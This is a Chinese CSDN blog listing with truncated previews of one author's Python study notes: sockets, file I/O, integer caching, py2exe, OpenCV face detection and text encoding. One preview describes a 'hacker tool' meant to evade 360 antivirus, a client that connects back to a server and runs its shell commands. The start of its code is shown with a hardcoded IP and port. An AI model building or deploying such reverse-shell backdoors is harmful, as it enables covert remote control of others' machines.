![](https://img-blog.csdnimg.cn/20201014180756925.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
python
懒企鹅
这个作者很懒,什么都没留下…
展开
-
python 学习笔记1--TCP客户端
TCPclient.pyimport sockettarget_host="www.baidu.com"target_port=80#创建一个客户端,socket.AF_INET是指用IPv4地址,socket.SOCK_STREAM指TCPclient=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#链接服务端原创 2015-11-13 23:30:00 · 412 阅读 · 0 评论 -
Python文件写到本地
import osls=os.linesepwhile True: fname=input("fname>>>") if os.path.exists(fname): print('ERROR %s is exist '% fname) continue else: pass breakall=[]prin原创 2015-12-28 16:31:44 · 478 阅读 · 0 评论 -
Python整数的缓存
>>> i=100>>> k=100>>> i==kTrue>>> i is kTrue>>> >>> >>> i=1000>>> k=1000>>> i==kTrue>>> i is kFalse>>> >>> i=0>>> k=0>>> while i<500: i+=1 k+=1 if i is not k: print(i) break原创 2015-12-28 17:17:36 · 434 阅读 · 0 评论 -
Python写黑客小工具,360免杀
构思:client:反向连接server,执行shell命令server:发送命令,控制客户端import subprocessimport socketimport threadingtarget="172.22.40.41"port=55555buffer=""def sendMag(c_socket): global buffer原创 2015-12-31 16:07:14 · 2201 阅读 · 0 评论 -
Py2exe使用
假设有一个Hello.py需要生成exe文件习惯在同一目录下新建setup.py文件内容:from distutils.core import setup import py2exesetup(console=['x:/xxx/hello.py']) 注意一定是全路径。cmd进入setup.py的目录下:python ./setup.py py2exe成功会在转载 2015-12-31 16:28:43 · 1122 阅读 · 0 评论 -
java和python改变全局变量的对比
package cn.xh.test;public class Fun_test { static int glob=10; public static void main(String[] args) { // TODO Auto-generated method stub Fun_test fun=new Fun_test()原创 2015-12-20 20:55:21 · 795 阅读 · 0 评论 -
Python 对图片进行人脸识别
import cv2def detect(path): img = cv2.imread(path) cascade = cv2.CascadeClassifier("/vagrant/detect/haarcascade_frontalface_alt.xml")#xml文件路径一定要注意 rects = cascade.detectMultiScale(img, 1转载 2016-01-07 15:29:46 · 2671 阅读 · 2 评论 -
关于乱码
1.我设置终端编码UTF-8用pythonutf-8解码>>> '师龙'.decode('utf-8')u'\u5e08\u9f99'>>> print u'\u5e08\u9f99'.encode('utf-8')师龙>>> print u'\u5e08\u9f99'.encode('gbk')ʦ��gbk解码>>> '师龙'.decode('gbk')原创 2017-04-19 20:59:20 · 1033 阅读 · 0 评论